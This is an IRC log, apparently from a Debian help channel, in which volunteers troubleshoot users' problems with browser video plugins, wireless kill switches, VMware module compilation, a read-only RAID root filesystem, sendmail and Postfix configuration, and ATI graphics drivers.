| 21:45.00 | sam_home | how can i get the iceweasel divx browser plugin in mozilla-plugin-vlc to be used? |
| 21:45.16 | valdyn | Xyhthyx: that's from the hibernate package ) |
| 21:45.18 | Guerin | sam_home: never use the civx plugin for any reason. |
| 21:45.22 | Xyhthyx | Guerin: Ok, which are the typical net modules? |
| 21:45.33 | Guerin | Xyhthyx: there are none. It depends on your hardware. |
| 21:45.41 | ringo999_ | valdyn: http://pastebin.com/m66f625ad |
| 21:45.42 | valdyn | Xyhthyx: see the files in /etc/hibernate/. You should stop networking with hibernate and start it when coming back up |
| 21:45.42 | sam_home | Guerin, why? |
| 21:46.00 | valdyn | Xyhthyx: like removing / inserting the modules too, just read the config file, its pretty verbose |
| 21:46.18 | Guerin | sam_home: oh wait, are you just after the codec? |
| 21:46.30 | valdyn | ringo999_: your wireless looks fine... |
| 21:46.38 | Xyhthyx | valdyn: It was working previous to 2.6.22 kernel, had no problems coming back from hibernate. |
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| 21:46.44 | Xyhthyx | I'll look into that, thanks guys. |
| 21:46.59 | valdyn | Xyhthyx: probably, regressions happen |
| 21:47.06 | sam_home | Guerin, what should i use to view http://www.tv-links.co.uk/video/1/3463/5270/33022/50013? |
| 21:47.09 | ringo999_ | valdyn: :-( |
| 21:47.21 | Guerin | sam_home: oh, ok. |
| 21:47.25 | Guerin | !w32codecs |
| 21:47.25 | dpkg | w32codecs is probably a non-free package that is not distributed by Debian due to legal issues. The package provides codecs for several multimedia formats, such as AVI, Realmedia, and Windows Media. To get w32codecs, ask me about <debian-multimedia> |
| 21:47.30 | valdyn | ringo999_: your kill switch is on |
| 21:47.30 | Guerin | sam_home: ↑ |
| 21:47.36 | valdyn | ringo999_: where's your kill switch though? |
| 21:47.43 | valdyn | ringo999_: some button on your notebook? |
| 21:48.01 | ringo999_ | valdyn: yes |
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| 21:48.05 | sam_home | Guerin, i have w32codes, how do i get iceweasel to use them? |
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| 21:48.14 | Guerin | sam_home: it should do by default. |
| 21:48.16 | ringo999_ | valdyn: on mean, wifi is deactivated? |
| 21:48.23 | valdyn | ringo999_: yes |
| 21:48.37 | ringo999_ | hmm...that must be a bug, the light is shining |
| 21:48.48 | sam_home | Guerin, and if it does not? |
| 21:48.55 | valdyn | ringo999_: that means nothing |
| 21:48.59 | Guerin | sam_home: perhaps it's encoded with the new craptastic divx codec which isn't in the w32codecs package? |
| 21:49.00 | Haris | How do I find iptables_nat mod on etch? |
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| 21:49.06 | Haris | modprobe iptables_nat? |
| 21:49.06 | ringo999_ | valdyn: maybe i have to reboot? |
| 21:49.07 | Guerin | i don';t know, vlc plays freaking everything for me |
| 21:49.12 | sam_home | can you see the video? |
| 21:49.14 | Guerin | and mplayer plays everything else |
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| 21:49.29 | valdyn | ringo999_: why dont you activate it with the kill switch? |
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| 21:50.01 | sam_home | Guerin, so you see the link i posted in your broswer? |
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| 21:50.06 | themill | !killswitch |
| 21:50.06 | dpkg | ipw3945d will complain about the kill switch. This is either a keystroke (like Fn+F2) or a physical switch that you need to toggle to turn the radio on. When the kill switch is on, the radio is off (odd way of expressing things, isn't it?) and your network card won't work. |
| 21:50.17 | themill | ringo999_ ^^ |
| 21:50.36 | valdyn | ringo999_: the light can be independent of this |
| 21:50.46 | valdyn | ringo999_: it is on _my_ thinkpad iirc |
| 21:50.48 | Guerin | sam_home: Nope. Seems not to use the browser plugin. |
| 21:50.50 | egospun | do i need to do something special to get suexec and apache2.2 to work on etch? i'm working on a mod_fastcgi setup and when i turn on suexec, FastCgiWrapper /usr/lib/apache2/suexec, my .fcgi script just hangs. |
| 21:51.09 | w0nder | has anyone installed Debian on a Dell latitude D620? Curious as to how well it picked up the hardware and played nice with a docking station |
| 21:51.31 | themill | !tell w0nder about laptops |
| 21:51.31 | Guerin | sam_home: there is a url showing,. but it 404s |
| 21:51.39 | Guerin | sam_home: so complain to the management |
| 21:51.49 | Haris | ok! |
| 21:51.54 | Haris | NAT comes pre-built into iptables |
| 21:51.58 | ringo999_ | valdyn: its a driver problem http://pastebin.com/m514d2026 |
| 21:51.59 | egospun | i saw something in http://www.howtoforge.com/forums/showthread.php?t=12302 that says suexec needs a patch. is this current? |
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| 21:52.06 | themill | w0nder: look for installation reports on those sites, or ask on the debian-laptop list, you'll get more replies. |
| 21:52.11 | ringo999_ | i need the latest driver. i guess i have to compile myself? |
| 21:52.29 | valdyn | ringo999_: wont cant support ubuntu |
| 21:52.38 | valdyn | ringo999_: WE cant support ubuntu |
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| 21:54.29 | themill | ringo999_: there is little point in telling us about u**ntu releases. We don't know much about them. We've yet to see an ipw3945 that doesn't work with the instructions in those dpkg factoids though. |
| 21:54.42 | ringo999_ | valdyn: well, im not supporting ubuntu either, im running debian |
| 21:54.48 | ringo999_ | i know it talks about ubuntu |
| 21:55.49 | Wyzard | Haris: If you want to configure iptables, it's best to use a firewall package such as ipmasq, firehol, or shorewall, rather than writing iptables rules manually |
| 21:56.00 | themill | ringo999_: have you turned your kill switch off? Your last (useful) pastebin said that it was on. |
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| 21:56.21 | Wyzard | Haris: (These are tools which generate iptables rules based on a configuration file which is much easier to maintain) |
| 21:56.50 | ringo999_ | themill: mill, yes, i have turned it on, off, on, and off again, it doesnt change a thing |
| 21:57.14 | raz0 | Wyzard, YES! |
| 21:57.29 | Wyzard | raz0: ? |
| 21:57.32 | raz0 | Wyzard, And for exactly the reason you stated. |
| 21:57.50 | themill | ringo999_: can you please modprobe -r ipw3945; modprobe ipw3945 and pastebin the last few lines of dmesg from when you do that. Also ifconfig -a. |
| 21:58.34 | raz0 | Wyzard, It's like asking if it's better to program in a high-level programming language than in straight assembly. ;) |
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| 21:58.40 | sam_home | Guerin, can you see this? http://stage6.divx.com/ |
| 21:58.45 | smhar | hello |
| 21:58.49 | smhar | I am trying to install vmware server on debian testing but in the installation I got an notice that the kernel is built with gcc version 4.1.3 while the one I am trying to use is 4.2.1 . what should I do? |
| 21:58.58 | Wyzard | Haris: btw, if you're setting up a NAT router for a LAN, you might be interested in the "dnsmasq" package too -- it's a combined DHCP and DNS server, which provides DNS hostnames for machines on the LAN |
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| 21:59.12 | sarixe | it did not take you four seconds to type that, smhar. |
| 21:59.26 | Guerin | sam_home: yes, it plays |
| 22:00.07 | sarixe | anyway, i'm having some pretty severe and random errors with fglrx... ever since linux 2.6.22 came into testing, i've been trying and failing to get this thing to work. |
| 22:00.09 | Wyzard | smhar: That should be harmless... ignore the warning, and don't worry about it unless it actually does cause problems |
| 22:00.12 | smhar | sarixe: because I just posted the same thing in #vmware so I copy/pasted it :-) wish I was that fast |
| 22:00.12 | xand | smhar: ask #vmware |
| 22:00.24 | sarixe | my first attempt was with 8.41.7 |
| 22:00.25 | xand | !vmware |
| 22:00.25 | dpkg | VMware isn't part of Debian, therefore it's not supported. Ask the vendor for support, or ask here: #vmware on irc.freenode.net |
| 22:00.28 | sam_home | does anyone know how to configure iceweasel plugins? |
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| 22:00.53 | Wyzard | smhar's question isn't really a VMware question, it's a generic question about compiling kernel modules with a different GCC version than the kernel itself was compiled with |
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| 22:00.58 | sarixe | but 8.41.7 was giving me screen junk |
| 22:01.13 | Guerin | sam_home: use the mplayer plugin. It WFM |
| 22:01.17 | sarixe | so i switched back to 8.40.4 |
| 22:01.23 | yggshack | can somone help me i had a debian setup that used to be no gui so i put it on there and now the screen never shuts off.. screen saver is set to turn off screenn after half hour its just like white.. |
| 22:01.39 | sarixe | and it doesn't work with dri. so i switched back to 8.41.7, and then it wouldn't work at all. |
| 22:01.52 | sam_home | how? i have it installed already. how do i _use_ it? |
| 22:02.14 | smhar | xand: vmware is not part of debian but gcc is. The problem could be in gcc, and the solution could be in gcc settings. I did post tthis in #vmware as well |
| 22:02.14 | sarixe | it would just give me a blank screen and freeze up, i.e. i couldn't get to a VT, even. |
| 22:02.18 | mentor | ugh... mplayer |
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| 22:03.06 | sarixe | so after booting into single-user, i reinstalled 8.40.4, and it brought me back to my dri-less state. |
| 22:03.16 | sarixe | i checked /var/log/Xorg.0.log |
| 22:03.20 | Wyzard | smhar: It's not an error, just a warning -- theoretically, the module could fail to work (cause crashes, etc.) if GCC changed its ABI between the two versions |
| 22:03.30 | Wyzard | smhar: but GCC's C ABI hasn't changed in a long time, afaik |
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| 22:03.40 | sarixe | and in there, it shows a random switch from pci:1:5:0 to 1:5:1 |
| 22:03.41 | Guerin | sam_home: probably uninstall the vlc one |
| 22:03.49 | Guerin | mentor: sacrilege! |
| 22:03.52 | Guerin | mplayer > * |
| 22:04.08 | Wyzard | smhar: I've been using VMware for years and never had any problems with differing GCC versions |
| 22:04.11 | sarixe | the xorg.conf is configured to use pci:1:5:0 |
| 22:04.15 | sarixe | and that's correct |
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| 22:04.56 | sarixe | except the driver randomly switches to pci:1:5:1 along the way |
| 22:04.59 | sarixe | and i can't tell where. |
| 22:05.19 | smhar | Wyzard: I ignored the warning but he compiling stooped with an error complaining about the version of gcc |
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| 22:05.29 | sarixe | so... any help? |
| 22:05.49 | smhar | Wyzard: I had it in my old system without problems as well. |
| 22:05.59 | ringo999_ | themill: there you go http://pastebin.com/mcda4c73 |
| 22:06.00 | blk-majik | hi guys. i have a server that occassionally puts the root fs mount in read-only mode. I try to mount / -o remount,rw, but its not enabling writes again. obviously this is causing all kinds of problems (cant even force a remote reboot). any idea how to fix/diagnose this? |
| 22:06.06 | themill | smhar: you've have to ask #vmware how to override that behaviour if you want to try that. |
| 22:06.36 | babbage | blk-majik: what does /proc/mounts say about /? |
| 22:06.37 | Wyzard | smhar: hmm... I think it works differently if it's a nontrivial version difference, like 4.1.x vs. 4.2.x |
| 22:06.49 | Wyzard | smhar: You might need to install gcc-4.1 and set CC=gcc-4.1 or something like that |
| 22:06.57 | blk-majik | babbage: /dev/sda1 / ext3 ro,data=ordered 0 0 |
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| 22:07.14 | themill | ringo999_: ok, so the kill switch is on; turn it off then try ifconfig -a again. |
| 22:07.32 | Wyzard | smhar: If that doesn't work, ask #vmware about how to get the script to use your gcc-4.1 |
| 22:08.07 | mentor | Guerin: Lies! |
| 22:08.10 | babbage | blk-majik: Did you get an error message from mount ? |
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| 22:08.41 | blk-majik | babbage: mount: block device /dev/sda1 is write-protected, mounting read-only |
| 22:08.51 | rmaj | hello |
| 22:08.53 | rmaj | how to install all libboost* libs? |
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| 22:08.55 | rmaj | with aptitude |
| 22:09.03 | babbage | blk-majik: what kind of device is /dev/sda1? |
| 22:09.24 | blk-majik | babbage: its a scsi raid array using the megaraid drivers |
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| 22:09.47 | babbage | blk-majik: is /var/log on / ? |
| 22:09.54 | blk-majik | babbage: yes =( |
| 22:10.00 | ringo999_ | themill: same result, the switch doesnt seem to work |
| 22:10.04 | valdyn | blk-majik: its write protected from layers below 'mount' - can be hardware driver or firmware |
| 22:10.05 | smhar | Wyzard: ok I checked and it seems that I already have 4.1 installed along side 4.2 , how to make the CC=gcc-4.1 thing? |
| 22:10.10 | babbage | what about the output of "dmesg - "? |
| 22:10.34 | sarixe | blah, no help |
| 22:10.37 | blk-majik | babbage: i have a lot of 'sd 2:4:0:0: rejecting I/O to offline device' before an ext3_abort |
| 22:10.48 | blk-majik | then EXT3-fs error (device sda1): ext3_remount: Abort forced by user |
| 22:10.51 | Wyzard | smhar: It's an environment variable... you'd run "CC=gcc-4.1 vmware-config.pl" to set the variable for the duration of just that one command |
| 22:10.55 | blk-majik | sounds hardware to me |
| 22:11.09 | blk-majik | but i replaced most of the storage-related hardware already |
| 22:11.18 | blk-majik | i know the megaraid drivers have some 'issues' |
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| 22:13.21 | blk-majik | im using a Dell PERC 3/QC 4ch Ultra160 controller /w 128mb memory. I also get the errors when I try an HP Megaraid card of the same chipset. Tried different firmware versions on both cards |
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| 22:13.40 | themill | ringo999_: are you sure you're toggling the kill switch? It doesn't sound like it. |
| 22:13.57 | blk-majik | so again, I'm thinking driver. Debian is the only linux distro with an out-of-the-box kernel that lets me mount the array at all, actually |
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| 22:14.10 | blk-majik | Maybe I need to revert back to netbsd.... worked fine there |
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| 22:14.46 | ringo999_ | themill: definitely. its a compaq nc6400 laptop, there is only one button i know to turn on/off wifi |
| 22:14.51 | sinthetek | i could use some help with this particular debian install...something is funky with this hardware i think...i am getting this error when i try to boot the install cd: run-init: nuking initramfs contents. Directory not empty Kernel panic - not syncing: Attempted to kill init! |
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| 22:15.09 | blk-majik | maybe run Xen under freebsd and use debian as a guest to abstract the HD ;) |
| 22:15.09 | sinthetek | any idea what exactly causes this error and/or how to fix it? |
| 22:15.16 | rmaj | hmm |
| 22:15.39 | rmaj | so noone knows how to install foo* (foo-aaa foo-bbb and so on) with one command? |
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| 22:16.00 | rmaj | something like apt-get install foo* |
| 22:16.16 | themill | ringo999_: check the entry on kill switch here: http://bb.cactii.net/archives/000174.php |
| 22:16.41 | babbage | blk-majik: looks like the megaraid drivers think the array is read-only; perhaps one of the devices is sick. |
| 22:16.58 | blk-majik | as in one of the drivers? |
| 22:17.00 | sinthetek | rmaj: maybe apt-get install `apt-cache search foo`? |
| 22:17.02 | blk-majik | *drives? |
| 22:17.04 | babbage | blk-majik: I really don't know |
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| 22:17.06 | sinthetek | :P |
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| 22:17.12 | pike_ | rmaj: you could use awk to pull first column of apt-cache search and then grep it and then.. etc |
| 22:17.14 | markrian | er, rmaj, have you tried "apt-get install foo*", just like you said...? |
| 22:17.16 | sinthetek | not sure how well that'd work... not that much of a scripter |
| 22:17.30 | blk-majik | babbage: i just replaced a drive last week. have 2 spare new ones. i could just start reconstructing all of them i guess.... would fsck mark any bab sectors? |
| 22:17.32 | sarthor | how can i connect my 9300i nokia with my bluetooth, While i can scan it with #hcitool scan, I am new to linux, any gui application for feisty?? |
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| 22:17.59 | sarthor | <PROTECTED> |
| 22:18.12 | themill | sarthor: are you running debian? |
| 22:18.33 | markrian | clearly not - sarthor, try #ubuntu |
| 22:18.35 | pike_ | sarthor: apt-cache search bluez |
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| 22:19.12 | ringo999_ | themill: yes, so i have to reboot to see if it works. |
| 22:19.15 | smhar | Wyzard: I tried "CC=gcc-4.1 vmware-config.pl" but execution aborted after sometime complaining about 'slight' different in C headers between the ones I am using and the ones used for the kernel compile. now what? |
| 22:19.49 | rmaj | markrian: I want to do it in aptitude, not in apt-get |
| 22:20.10 | rmaj | pike_: thanks... isnt there any easier way |
| 22:20.11 | themill | ringo999_: that is what is implied by that page; I don't have the hardware though, you need to experiment yourself! |
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| 22:20.19 | sarthor | pike_, bluez sarch result is here http://paste.ubuntu-nl.org/40010/ |
| 22:20.20 | mikefoo | Anyone know what a ping exit code would be if there is a packet loss percentage? I can find any info... |
| 22:20.40 | pike_ | sarthor: ill speak in #ubuntu /join me there |
| 22:20.48 | Wyzard | smhar: What headers is it using for the build? Was "/usr/src/linux" the answer to one of the questions? |
| 22:20.49 | sarthor | themill, yes i know i am using ubuntu, and you can check that i am also there |
| 22:20.52 | sarthor | pike_, OK. |
| 22:21.02 | babbage | blk-majik: Not by default; see the manual page. But the RAID array may well mask bad sectors anyway. |
| 22:21.03 | ringo999_ | themill: i will give it a try. got to go sleep now. thanks for all of yours help! |
| 22:21.13 | babbage | gtg now anyway |
| 22:21.16 | themill | ringo999_: good luck! |
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| 22:21.43 | ringo999_ | byebye |
| 22:21.58 | Wyzard | smhar: or do you have the correct linux-headers package installed? |
| 22:22.12 | themill | sarthor: I know. Asking about "feisty" and being in #ubuntu were a bit of a give-away. We can't help you with ubuntu questions, but #ubuntu can. Good luck over there. |
| 22:22.22 | pike_ | sarthor: id install both bluez-gnome |
| 22:22.36 | pike_ | and kdebluetooth see which you like |
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| 22:23.06 | smhar | Wyzard: I am using kernel 2.6.21-2-686 and the header is the same |
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| 22:23.38 | Wyzard | smhar: You have linux-headers-2.6.21-2-686 installed and up-to-date? |
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| 22:24.08 | Wyzard | smhar: and you used /lib/modules/2.6.21-2-686/build (the default) as the directory for kernel headers, when asked by the script? |
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| 22:25.18 | smhar | Wyzard: I just did and update/upgrade and the install is using /lib/modules/2.6.21-2-686/build/include as the path for the c headers |
| 22:25.42 | Wyzard | smhar: Did the kernel get upgraded during the recent upgrade you did? |
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| 22:26.07 | smhar | Wyzard: no |
| 22:26.13 | fatgoose_ | Hi |
| 22:26.50 | Wyzard | smhar: dunno then... those two packages (linux-image and linux-headers) are a matched pair, and you should never run into problems with discrepancies like that |
| 22:27.02 | fatgoose_ | I'm trying to install Firefox 2.0.0.6 in Debian Etch, but I got that error: error while loading shared libraries: libgtk-x11-2.0.so.0: cannot open shared object file: No such file or directory |
| 22:27.19 | fatgoose_ | I've libgtp-x11 installed into /lib |
| 22:27.24 | Wyzard | smhar: The only thing I can think of is maybe the kernel got updated, and therefore the headers too, but you haven't rebooted yet so you're still running the old kernel which doesn't match the updated headers |
| 22:27.45 | smhar | Wyzard: so what are my options? |
| 22:28.02 | smhar | Wyzard: remove all headers and reinstall them? |
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| 22:28.14 | Wyzard | smhar: No, that'll just put back the same files you already have |
| 22:28.28 | themill | fatgoose_: it's very easy: aptitude install iceweasel |
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| 22:28.45 | fatgoose_ | themill: iceweasel is not firefox, I need firefox. |
| 22:28.56 | Wyzard | smhar: You could reboot in case an upgraded kernel really is the cause (maybe it got updated sometime in the past, and you forgot to reboot then) |
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| 22:29.09 | themill | fatgoose_: you do know that iceweasel actually is firefox, don't you? Why do you need firefox? |
| 22:29.13 | Wyzard | fatgoose_: iceweasel is firefox with a different name |
| 22:29.20 | Wyzard | fatgoose_: It's the same browser |
| 22:29.31 | fatgoose_ | themill: ok, then why I can't install XPI into iceweasel |
| 22:29.39 | rudenstam | I got a promise FastTrak TX4300 with one drive connected, it shows up in boot... sata_promise is built into the kernel.. and sata_promise shows in dmesg, but the disk does not... any tips ? |
| 22:29.48 | themill | fatgoose_: which xpi? please help us here.... |
| 22:30.06 | fatgoose_ | jssh |
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| 22:31.28 | smhar | Wyzard: rebooting then |
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| 22:33.18 | themill | fatgoose_: where are you getting that from? |
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| 22:40.02 | blue_asterisk | anybody happen to know how to hide the version on sendmail? |
| 22:40.23 | dondelelcaro | blue_asterisk: it's in the sendmail.cf file, but there's generally no point1 |
| 22:40.36 | blue_asterisk | I edit /etc/sendmail.cf was a doc on google instructed.. |
| 22:42.04 | blue_asterisk | dondelelcaro: how would I apply the update after editing sendmail.cf? I tried greping for "SmtpGreetingMessage" without success |
| 22:42.26 | blue_asterisk | dondelelcaro: how would you recommend securing it further? |
| 22:42.34 | dondelelcaro | blue_asterisk: uh.. it doesn't secure anything |
| 22:43.00 | rmaj | I have some radeon card |
| 22:43.07 | rmaj | how to have good fast 3d acceleration on it? |
| 22:43.13 | abrotman | which model ? |
| 22:43.20 | blue_asterisk | dondelelcaro: yes, but hiding the version would make it harder for someone to hit it for vulnerabilities |
| 22:43.22 | abrotman | the X1200 ? |
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| 22:43.28 | dvs | HD2900? |
| 22:43.29 | abrotman | blue_asterisk: no it doesn't |
| 22:43.33 | dondelelcaro | blue_asterisk: nope |
| 22:43.54 | blue_asterisk | ok then, so how would I secure it? |
| 22:44.00 | rmaj | abrotman: Radeon Xpress 200 |
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| 22:44.26 | rmaj | btw, I have an LCD screen, how to have auto detection of proper mode for it (it should be 1600x1400 something 60 Hz) |
| 22:44.27 | blue_asterisk | google results are sparse as instructing how to do this |
| 22:44.29 | abrotman | rmaj: use the radeon driver |
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| 22:44.38 | rmaj | abrotman: do I need to install something? |
| 22:44.53 | abrotman | not likely .. if you insatlled 'xorg' .. the driver is already there |
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| 22:45.43 | blue_asterisk | dondelelcaro: I'm allowing sendmail to accept abuse@whatever.com as recommended in RFCs |
| 22:45.46 | rmaj | mhm it seems to work |
| 22:45.51 | rmaj | and what about resolution? |
| 22:46.10 | jelly-home | rmaj: Xpress 200 or Xpress 200M? In any case, you'll probably want non-free fglrx drivers to get 3D working |
| 22:46.17 | blue_asterisk | dondelelcaro: also postmaster@whatever.com |
| 22:46.25 | rmaj | jelly-home: 200. how to get thoes drivers? |
| 22:46.36 | jelly-home | !fglrx |
| 22:46.36 | dpkg | The binary driver made available by ATI. See <fglrx one-liner> for installation. See http://www.linuks.mine.nu/ati/fglrx-driver for a non-Debian installation method, or currently not working with xorg > 7.1. Downgrade xserver-xorg-core to 7.1 for the time being if you are on testing/unstable. See also <fglrx 2.6.21>. |
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| 22:47.11 | jelly-home | rmaj: I'm guessing /msg dpkg fglrx one-liner |
| 22:47.14 | rmaj | and the resolutions.. on gentoo it just works automaticly it seems; is it possible now in debian also? |
| 22:47.21 | dondelelcaro | blue_asterisk: you'd secure it by installing a version of sendmail which is not vulnerable to known exploits |
| 22:47.25 | blue_asterisk | I would use something else but one of my applications requires sendmail |
| 22:47.31 | abrotman | jelly-home: should work with radeon AIUI |
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| 22:47.55 | jelly-home | abrotman: DDC is broken at least for my xpress200 in lenny |
| 22:48.06 | dondelelcaro | blue_asterisk: what requires sendmail? |
| 22:48.11 | blue_asterisk | openemm |
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| 22:48.17 | abrotman | jelly-home: so it *should* work but there's a bug :) |
| 22:48.42 | jelly-home | abrotman: ... everything SHOULD work |
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| 22:48.52 | abrotman | jelly-home: everything ? |
| 22:49.12 | jelly-home | abrotman: that's packaged in Debian |
| 22:49.22 | blue_asterisk | dondelelcaro: I guess that is the standard answer and probably true for sendmail given it's history |
| 22:49.26 | dondelelcaro | blue_asterisk: uh... there's no reason why a email marketing application would require sendmail |
| 22:49.48 | blue_asterisk | dondelelcaro: it's required |
| 22:49.53 | blue_asterisk | in the docs |
| 22:50.00 | jelly-home | abrotman: I meant, "should work" is not a solution for a novice user |
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| 22:50.08 | blue_asterisk | legacy reasons |
| 22:50.09 | dondelelcaro | blue_asterisk: for what reason? |
| 22:50.18 | abrotman | that's a horrible application :) |
| 22:50.20 | dondelelcaro | "legacy reasons" isn't a reason |
| 22:50.30 | blue_asterisk | they say it uses 'milter' or whatever it is.. |
| 22:50.30 | ak70 | hi, I am using debian sid with gnome. there is a problem with gnome-volume-manager. when I try to connect my usbdisks which use jfs, files with Chinese characters in their names are not properly displayed. |
| 22:50.49 | ak70 | other file systems do not suffer from this problem |
| 22:50.50 | dondelelcaro | blue_asterisk: almost any MUA nowadays has support for libmilter |
| 22:51.06 | blue_asterisk | plus they say at the time openemm was developed, qmail was unstable and postfix wasn't mature |
| 22:51.18 | ak70 | it seems to be the problem of gnome-mount |
| 22:51.40 | dondelelcaro | blue_asterisk: that's a non answer as well; there's nothing difficult about writing such a program so that it's MTA agnostic |
| 22:51.44 | wols_ | !btssmite ak70 |
| 22:51.45 | ak70 | how can I make gnome-volume-manager use pmount again? |
| 22:51.52 | jelly-home | sendmail isn't that bad (security history notwithstanding) once you tune it |
| 22:51.59 | blue_asterisk | dondelelcaro: yes, I know, but it's one of the better open source email marketing software out there |
| 22:52.00 | dondelelcaro | blue_asterisk: if their programmers are incapable of doing so, then you probably don't want to be using it at all |
| 22:52.36 | dondelelcaro | blue_asterisk: so configure it so that it doesn't use sendmail; should be terribly difficult if you have the source |
| 22:52.37 | blue_asterisk | dondelelcaro: uh, yes, in an ideal world, but I'm stuck with it ATM |
| 22:52.49 | dondelelcaro | or use sendmail, but keep up with security |
| 22:52.58 | DawnLight | a first generation dvd drive can't read dvd+r, ight? |
| 22:53.06 | ak70 | I have submitted this bug two months ago, so far there is no reply |
| 22:53.16 | dondelelcaro | ak70: which bug report? |
| 22:53.50 | rmaj | what is the license of non free glx driver? I can use them whe I have radon right? |
| 22:53.54 | ak70 | I can not remember |
| 22:54.11 | abrotman | DawnLight: depends on the drive .. should say |
| 22:54.11 | blue_asterisk | dondelelcaro: I assume debian will keep up on sendmail, but can I trust that this will be the case? a third party handling part of my security? that's why I want to lock it down myself more if possible |
| 22:54.34 | themill | rmaj: http://packages.debian.org/changelogs/pool/non-free/f/fglrx-driver/fglrx-driver_8.28.8-4/fglrx-driver.copyright |
| 22:54.34 | dondelelcaro | blue_asterisk: a third party is always going to be dealing with it no matter which MTA you use |
| 22:54.39 | Wyzard | Anyone here have experience configuring Postfix on Debian? I'm trying to figure out why $myhostname is defaulting to foo.localdomain rather than my real FQDN, despite "hostname --fqdn" returning the correct value |
| 22:55.00 | jelly-home | ak70: you can search for eg. all of your bug reports (from your email address) |
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| 22:55.16 | ak70 | I am dong it |
| 22:55.18 | blue_asterisk | Wyzard: try dpkg-reconfigure postfix |
| 22:55.40 | mumbles | Ok - i have a line in my fstabs file /dev/sdc1 /home/john/bigone vfat rw,umask=000 0 0 |
| 22:55.55 | mumbles | and yet when i mount that folder i have problems writing to it. |
| 22:56.06 | mumbles | any ideas where i am going wrong ? |
| 22:56.16 | abrotman | Wyzard: did you set any of the other variables ? |
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| 22:56.25 | themill | !tell mumbles about vfatrw |
| 22:56.48 | benkong2 | Would anyone be willing to help with bind9 setup for a small home LAN? |
| 22:57.08 | abrotman | Wyzard: of course ..y ou can also explicitly set it |
| 22:57.17 | dondelelcaro | benkong2: you may actually be better off just using dnsmasq |
| 22:57.25 | jelly-home | or pdnsd |
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| 22:57.44 | benkong2 | ok let me check into those options |
| 22:58.13 | Wyzard | abrotman: I know, but the default is supposed to be the value returned by gethostname(), which is reasonable, and I'd rather use that than specify the same thing (hostname/FQDN) in multiple configuration files |
| 22:58.19 | rdz | hi all. i have sometimes (more and more) troubles booting. grub doesn't appear or it appears, but freezes as soon as i select an option. is it likely, that in such a situation the harddrive could be the problem (for instance: the mbr cannot be read correctly)? sometimes it need more then 10 trials in order to boot |
| 22:58.20 | corea | hi, I asked this earlier... I'm trying to do a xen dom0 on a amd64 but use i386 arch and 686 xen kernel, when the kernel boots, it says "request_module: runaway loop modprobe binfmt-464c" |
| 22:58.29 | Wyzard | blue_asterisk: That just asks me the same stuff I already specified when initially installing postfix |
| 22:58.30 | DawnLight | i've a pentium ii 233 system in the street. brought it home in the new system's box |
| 23:00.06 | Wyzard | OK, someone in #postfix aptly pointed to /proc/sys/kernel/domainname, which is unset on my system |
| 23:00.09 | concept10 | i forgot, what is the command for printing kernel messages? |
| 23:00.18 | Wyzard | What startup script is supposed to be setting the system's domain name? |
| 23:00.19 | abrotman | Wyzard: why damn it! |
| 23:01.09 | Wyzard | nm, that doesn't seem to affect postfix |
| 23:01.11 | abrotman | Wyzard: mine is set to "(none)" |
| 23:01.17 | Wyzard | though it seems strange that it's unset |
| 23:01.21 | Wyzard | abrotman: yeah, mine too |
| 23:01.29 | rmaj | gentoo autodetected correct mode for my widescreen LCD, how to have the same in debian? |
| 23:01.33 | abrotman | my hostname is set though |
| 23:01.40 | rmaj | will fglrx do this also? |
| 23:01.40 | Wyzard | abrotman: yep, same |
| 23:01.46 | abrotman | rmaj: try it and see |
| 23:01.53 | jelly-home | corea: tried googling for dom0 and that error message? |
| 23:02.05 | Wyzard | rmaj: Don't specify any modes in xorg.conf, and it'll autoselect the most appropriate one |
| 23:02.06 | mumbles | damm still no luck |
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| 23:02.28 | mumbles | themill: thanks for the help |
| 23:02.34 | jelly-home | rmaj: whihc release of debian are you running? |
| 23:02.45 | rmaj | jelly-home: stable |
| 23:02.49 | rmaj | Wyzard: hmm almost |
| 23:02.59 | blue_asterisk | dondelelcaro: true, re third party, but the difference is I actually want to be responsible for something when something breaks and not just blame debian; not that I don't trust debian, it's just that I think it is reasonable to think that a default config can be secured and I can probably do something about it; anyways, I'm stuck right now. Not sure if it's worth the time to secure it further |
| 23:03.12 | rmaj | it found out about 1680x1050 (yey) but only allows 75 Hz, where it sohuld be 60 |
| 23:03.29 | abrotman | it's lcd .. doesn't matter IIRC |
| 23:03.46 | jelly-home | rmaj: can you pastebin /var/log/Xorg.0.log and /etc/X11/xorg.conf |
| 23:03.47 | rmaj | abrotman: afair it fails for 75 Hz |
| 23:04.03 | abrotman | try it .. |
| 23:04.03 | Wyzard | rmaj: You don't need to specify sync frequencies with a modern LCD... that stuff can be autodetected from the monitor itself |
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| 23:04.22 | jelly-home | rmaj: is it laptop lcd or an external device? |
| 23:04.26 | rmaj | abrotman: it failed |
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| 23:04.33 | abrotman | rmaj: have an error ? |
| 23:04.36 | corea | jelly no but I can |
| 23:04.39 | rmaj | no image on the monitor... let me check log |
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| 23:05.56 | rmaj | now even text mode doesnt work (I went back to VT-1) |
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| 23:06.13 | Bac9 | I am seeing some strange behaviour with `ls -l` when sorting output it mixes hidden and non-hidden files, (e.g a, .b, c) can anyone shine a light why it's doing this? |
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| 23:06.49 | jelly-home | Bac9: sort order depends on your locale settings |
| 23:06.52 | K_Dallas | Evening guys! Q: If I download debian-40r1-i386-DVD-1.iso, would it be fairly optimized for Core Duo2 laptop archetecture or should I chose a particular installation paramters. Thanks and would the 1st DVD be enough to start with (even if it doesnt come with teTeX, I could install it afterwards but the essential is to get the desktop (gnome for instance) and gcc, and usual stuff |
| 23:07.00 | Bac9 | jelly-home: C |
| 23:07.03 | karsten | Bac9: Do you have 'ls' aliased or defined as a function, including the '-a' or '-A' flags? What's your locale and/or LC_COLLATE env var value? |
| 23:07.08 | sander_ | How can I use lsof to kill every process accessing a given directory? |
| 23:07.36 | lubos_ | I'm running cgi script without problems. however when I want to use modules which I have in the same directory as my cgi script, script fails to find them... any hint please.. |
| 23:07.37 | jelly-home | Bac9: hm, then it shouldn't do that afaik. does output of "locale" support you? :-) |
| 23:07.44 | karsten | sander_: lsof | grep '<pattern matching directory>' | awk '{print $2}' | xargs kill |
| 23:07.49 | Bac9 | karsten: LC_COLLATE=C, I het same with /bin/ls |
| 23:07.54 | karsten | sander_: Test output first to see if it's what you want. |
| 23:08.00 | karsten | Bac9: OK. |
| 23:08.07 | K_Dallas | (smaller Q: what does 40r1 means, is it the final release or the release candidate/test) |
| 23:08.13 | Bac9 | jelly-home: ? |
| 23:08.24 | karsten | Bac9: Try "locale" as well which should print the full LC environment set. |
| 23:08.44 | dvs | K_Dallas: it's a fix update to a final release |
| 23:08.50 | Bac9 | karsten: all of them en_US.UTF-8 |
